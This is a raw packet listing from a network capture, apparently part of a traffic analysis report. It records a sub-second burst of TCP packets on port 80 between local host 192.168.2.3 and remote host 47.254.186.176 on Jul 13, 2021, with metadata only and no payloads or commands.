Jul 13, 2021 14:37:13.171969891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171986103 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171999931 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.172034979 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.172051907 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172693014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172720909 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172740936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172755957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172777891 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.172821999 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.172911882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172929049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172945023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.172971964 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.172995090 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.173438072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173455954 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173516989 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.173547983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173571110 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173614979 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173625946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173643112 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173660994 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173671007 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.173683882 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.173723936 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.174370050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.174454927 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.174457073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.174520016 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.174535036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.174555063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.174576998 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.174607992 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.174614906 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.174680948 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.174735069 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.175237894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175256014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175273895 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175292015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175313950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175323009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175333977 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.175339937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175383091 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.175393105 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.175838947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175868034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.175935984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.176141024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176177979 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176198959 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176214933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176220894 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.176250935 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.176769972 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176796913 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176815033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176827908 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176846027 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176867008 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.176908970 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.176913977 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.176961899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.176979065 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177037954 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.177345037 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177370071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177386045 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177490950 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.177520037 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177544117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177566051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177572966 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.177614927 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.177669048 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177686930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.177741051 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.178280115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.178309917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.178348064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.178361893 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.178381920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.178401947 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.178421974 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.178669930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.178689003 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.178761959 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.179243088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179260969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179281950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179315090 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.179337025 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.179367065 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179389000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179402113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179455996 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.179461002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179490089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179527998 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.179826021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179851055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179872990 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179873943 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.179887056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.179914951 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.180099964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.180125952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.180139065 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.180149078 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.180180073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.181581020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181607008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181660891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181675911 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181693077 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.181727886 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.181747913 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181770086 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181792021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181808949 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.181817055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181833982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181854010 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.181857109 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.181894064 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.182022095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182048082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182070017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182084084 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182096004 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.182116985 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.182638884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182657003 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182672024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182693958 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182713032 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182717085 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.182728052 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182742119 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.182748079 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182765961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.182776928 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.182832956 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.183235884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183262110 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183283091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183320045 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.183389902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183443069 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.183495045 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183918953 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183945894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183960915 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.183981895 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184004068 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.184026957 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.184056997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184102058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184107065 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.184115887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184139967 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184171915 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.184649944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184720993 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.184748888 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184767962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184782982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184803963 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184815884 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.184827089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184844971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.184858084 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.184911966 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.185447931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.185472012 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.185492992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.185507059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.185528994 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.185548067 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.185558081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.185942888 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.185960054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186002016 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.186295986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186315060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186336040 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186348915 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.186358929 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186387062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.186423063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186438084 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186458111 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.186467886 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.186499119 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.187196970 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187345982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187370062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187385082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187397957 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.187406063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187427998 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187427044 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.187452078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187467098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187469006 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.187510967 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.187920094 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187946081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187966108 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.187979937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188000917 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.188049078 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.188133955 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188157082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188170910 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188194036 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.188786983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188848019 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.188910961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188931942 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188951969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.188971043 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.189011097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.189024925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.189049006 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.189050913 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.189084053 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.189758062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.189776897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.189800024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.189822912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.189835072 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.189867020 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.190006971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190032005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190047026 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190074921 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.190445900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190464973 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190485954 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190505981 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.190506935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190524101 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190526009 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.190543890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.190583944 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.191057920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191083908 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191103935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191127062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.191133022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191154003 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.191237926 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191279888 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.191310883 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191351891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191369057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191385984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.191899061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.191986084 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.192148924 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192167044 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192188025 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192209005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192214966 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.192225933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192245960 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.192249060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192285061 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.192686081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192714930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192729950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192758083 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.192768097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192790031 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192804098 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.192816973 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192832947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.192848921 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.193416119 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.193475962 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.193535089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.193666935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.193691015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.193703890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.193721056 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.193747044 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.193767071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.193782091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.193826914 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.194380999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194406033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194449902 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.194503069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194519997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194571972 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.194612980 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194730997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194751978 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194766045 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.194767952 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.194920063 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.195152044 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.195183992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.195231915 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.195270061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.195283890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.195308924 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.195332050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.195528984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.195547104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.195571899 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.195996046 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.196043968 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.196154118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.196171999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.196193933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.196223974 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.196260929 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.196285009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.196293116 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.196300030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.196335077 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.196994066 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197021961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197043896 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197057962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.197067976 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.197101116 CEST	49710	80	192.168.2.3	47.254.186.176
